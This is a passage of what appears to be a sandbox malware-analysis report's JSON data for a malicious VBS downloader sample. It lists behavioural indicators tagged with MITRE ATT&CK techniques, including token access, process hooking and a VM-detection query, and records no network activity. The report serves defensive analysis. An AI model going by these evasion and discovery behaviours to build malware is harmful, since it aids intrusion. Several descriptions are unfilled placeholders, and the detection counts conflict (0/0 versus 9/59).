Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"WScript.exe\" queries basic process information of the \"C:\\Windows\\System32\\wscript.exe\" (UID: 7008)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$31","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"WScript.exe\" reads file \"c:\\windows\\system32\\wscript.exe\"\n \"WScript.exe\" reads file \"c:\\43564.vbs\"\n \"WScript.exe\" reads file \"c:\\windows\\system32\\wshom.ocx\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$32","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"WScript.exe\" trying to access non-existent file \"C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.12.17007.18022-0\\SLC.DLL\"\n \"WScript.exe\" trying to access non-existent file \"C:\\ProgramData\\Microsoft\\Windows Defender\\platform\\4.12.17007.18022-0\\SLC.dll\"\n \"WScript.exe\" trying to access non-existent file \"C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.12.17007.18022-0\\SPPC.DLL\"\n \"WScript.exe\" trying to access non-existent file \"C:\\ProgramData\\Microsoft\\Windows Defender\\platform\\4.12.17007.18022-0\\sppc.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"WScript.exe\" trying to access non-existent file \"C:\\Windows\\System32\\AppLocker\\MDM\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create string binding handle (RPC)","description":"\"WScript.exe\" called \"RpcStringBindingComposeW\" (UID: 00000000-00007008)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-218","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register protocol sequence (RPC)","description":"\"WScript.exe\" called \"RpcServerUseProtseqEpW\" with parameter protseq ncalrpc & endpoint: OLE8489E02A0CF67F4BB01841687EE6 (UID: 00000000-00007008)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-220","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$33","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://machine1\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically to used to retrieve file or directory information","description":"$34","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-236","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"WScript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to opens the access token associated with a process","description":"\"WScript.exe\" called \"NtOpenProcessToken\" with parameters {\"ProcessHandle\": \"4294967295\"\n \"DesiredAccess\": \"8\"\n \"$name\": \"C:\\\\Windows\\\\System32\\\\wscript.exe\"}\n \"WScript.exe\" called \"NtOpenProcessToken\" with parameters {\"ProcessHandle\": \"4294967295\"\n \"DesiredAccess\": \"12\"\n \"$name\": \"C:\\\\Windows\\\\System32\\\\wscript.exe\"}\n \"WScript.exe\" called \"NtOpenProcessToken\" with parameters {\"ProcessHandle\": \"4294967295\"\n \"DesiredAccess\": \"131082\"\n \"$name\": \"C:\\\\Windows\\\\System32\\\\wscript.exe\"}","origin":"API Call","mitre_attack_id":"T1134","relevance":1,"id":"api-196","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to opens the access token associated with a thread","description":"\"WScript.exe\" called \"NtOpenThreadToken\" with parameters {\"ThreadHandle\": \"4294967294\"\n \"DesiredAccess\": \"8\"\n \"OpenAsSelf\": \"1\"\n \"$status\": \"c000007c\"}\n \"WScript.exe\" called \"NtOpenThreadToken\" with parameters {\"ThreadHandle\": \"4294967294\"\n \"DesiredAccess\": \"4\"\n \"OpenAsSelf\": \"1\"\n \"$status\": \"c000007c\"}\n \"WScript.exe\" called \"NtOpenThreadToken\" with parameters {\"ThreadHandle\": \"4294967294\"\n \"DesiredAccess\": \"131080\"\n \"OpenAsSelf\": \"1\"}\n \"WScript.exe\" called \"NtOpenThreadToken\" with parameters {\"ThreadHandle\": \"4294967294\"\n \"DesiredAccess\": \"12\"\n \"OpenAsSelf\": \"1\"\n \"$status\": \"c000007c\"}\n \"WScript.exe\" called \"NtOpenThreadToken\" with parameters {\"ThreadHandle\": \"4294967294\"\n \"DesiredAccess\": \"14\"\n \"OpenAsSelf\": \"1\"\n \"$status\": \"c000007c\"}\n \"WScript.exe\" called \"NtOpenThreadToken\" with parameters {\"ThreadHandle\": \"4294967294\"\n \"DesiredAccess\": \"131082\"\n \"OpenAsSelf\": \"1\"\n \"$status\": \"c000007c\"}","origin":"API Call","mitre_attack_id":"T1134","relevance":1,"id":"api-197","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"file/memory contains long string with (Indicator: \"\"where \"; File: \"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin\")\n Found string \"private const L_HelpInvoke_013_0_Message = \"Where input.xml:\"\" (Indicator: \"\"where \"; File: \"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$35","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$36","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to terminate process and its threads","description":"\"WScript.exe\" called \"NtTerminateProcess\" with parameters {\"ExitStatus\": \"0\"\n \"$name\": \"C:\\\\WINDOWS\\\\System32\\\\WScript.exe\"}","origin":"API Call","mitre_attack_id":"T1489","relevance":1,"id":"api-247","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \" $\"[TXT]\"$ CIM_RemoveDirectoryAction.xsd26-Aug-2020 04:29 12K \" (Indicator: \"RemoveDirectory\"; File: \"urlref_httpschemas.dmtf.orgwbemwscim1cim-schema2\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"\"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\CRYPT32\"; Key: \"DIAGLEVEL\"; Value: \"\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\CRYPT32\"; Key: \"DIAGMATCHANYMASK\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Unusual Characteristics","name":"Calls an API typically used to map section into the virtual address space of a process","description":"$37","origin":"API Call","mitre_attack_id":"T1055","relevance":1,"id":"api-259","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$38","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"$39","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"9/59 Antivirus vendors marked sample as malicious (15% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Executes a VBS file","description":"Process \"WScript.exe\" with commandline \"\"C:\\\\43564.vbs\"\" (UID: 00000000-00007008)","origin":"Monitored Target","mitre_attack_id":"T1059.005","relevance":10,"id":"target-17","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"192.168.2.1\" found in string \"private const X_HelpDelete_006_0_Message = \" winrm delete winrm/config/Listener?Address=IP:192.168.2.1+Transport=HTTP\"\"\n Potential IP \"1.2.3.4\" found in string \"private const L_HelpConfigAddress_003_0_Message = \" IP:1.2.3.4 - Listen only on the specified IP address\"\"\n Potential IP \"1.2.3.4\" found in string \"private const X_HelpConfigExamples_005_0_Message = \" winrm set winrm/config/listener?Address=IP:1.2.3.4+Transport=HTTP @{Enabled=\"\"false\"\"}\"\"\n Potential IP \"1.2.3.4\" found in string \"private const X_HelpConfigExamples_014_0_Message = \" winrm set winrm/config/client @{TrustedHosts=\"\"1.2.3.4\n[1:2:3::8]\"\"}\"\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"file/memory contains long string with (Indicator: \"hostname\"; File: \"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin\")\n Found string \"private const L_HelpConfigTransport_010_0_Message = \" Hostname - Name of this machine; must match CN in certificate.\"\" (Indicator: \"hostname\"; File: \"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin\")\n Found string \"private const L_HelpConfigTransport_013_0_Message = \"Note: If only Hostname is supplied\n WinRM will try to find an appropriate\"\" (Indicator: \"hostname\"; File: \"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]}],"incidents":[{"name":"Evasive","details_count":1,"details":[{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":6,"imported_dlls_count":64,"dropped_files_count":0,"extracted_files_count":1,"files_written_count":0,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["evasive"],"sample_flags":["Extracted Files"],"sandbox_reports":[{"id":"646dc3acff589f737f0151af","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Downloader.acb","submit_name":"43564.vbs","analysis_start_time":"2023-05-24T07:58:36+00:00","indicators_count":{"informative":65,"suspicious":6,"malicious":1},"tags":["Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}],"processes":[{"pid":7008,"ppid":0,"name":"WScript.exe","command_line":"\"C:\\43564.vbs\"","sha256":"1405f3fd5668c5357e374a918abd21e8d8408b2eda99af9ce593a702da1cc2aa","normalized_path":"%WINDIR%\\System32\\WScript.exe","uid":"00000000-00007008","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="}],"all_imported_dlls":["dwmapi.dll","imm32.dll","kernel.appcore.dll","clbcatq.dll","kernel32.dll","msvcrt.dll","combase.dll","userenv.dll","wldp.dll","gdi32.dll","cfgmgr32.dll","windows.storage.dll","ntdll.dll","sxs.dll","crypt32.dll","wintrust.dll","gdi32full.dll","sppc.dll","cldapi.dll","rpcrt4.dll","SHCore.dll","KernelBase.dll","uxtheme.dll","shlwapi.dll","MpClient.dll","gpapi.dll","user32.dll","rsaenh.dll","wshext.dll","aepic.dll","fltLib.dll","ucrtbase.dll","ole32.dll","shell32.dll","mlang.dll","oleaut32.dll","cryptsp.dll","bcrypt.dll","slc.dll","powrprof.dll","bcryptprimitives.dll","ws2_32.dll","msctf.dll","amsi.dll","profapi.dll","coml2.dll","propsys.dll","mpr.dll","win32u.dll","MpOAV.dll","msasn1.dll","cryptbase.dll","VxSSL64.dll","sechost.dll","version.dll","MLbPPPQo.dll","msisip.dll","ntmarta.dll","msvcp_win.dll","OneCoreUAPCommonProxyStub.dll","advapi32.dll","vbscript.dll","scrobj.dll","scrrun.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"urlref_httpschemas.dmtf.orgwbemwscim1cim-schema2","sha256":"29f025db5c60384d409597aa8d184322379e8fac57dcd2039d12fc987d473948","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]}],"files_written":null,"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\\\","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\\\","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\DELEGATEFOLDERS\\\\","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7008:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"name":"SM0:7008:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"name":"Local\\SM0:7008:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"name":"SM0:7008:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7008:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7008:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]}]}},"report_ids":{"sandbox_job_ids":["646dc3acff589f737f0151af"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Sample 0b6ef2401f66… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 0b6ef2401f66…. Threat score 100/100. 0/0 AV engines flagged this file. 1 malicious and 6 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4"}],["$","meta","4",{"property":"og:title","content":"Malicious Sample 0b6ef2401f66… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 0b6ef2401f66…. Threat score 100/100. 0/0 AV engines flagged this file. 1 malicious and 6 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Sample 0b6ef2401f66… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 0b6ef2401f66…. Threat score 100/100. 0/0 AV engines flagged this file. 1 malicious and 6 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L3b","11",{}]]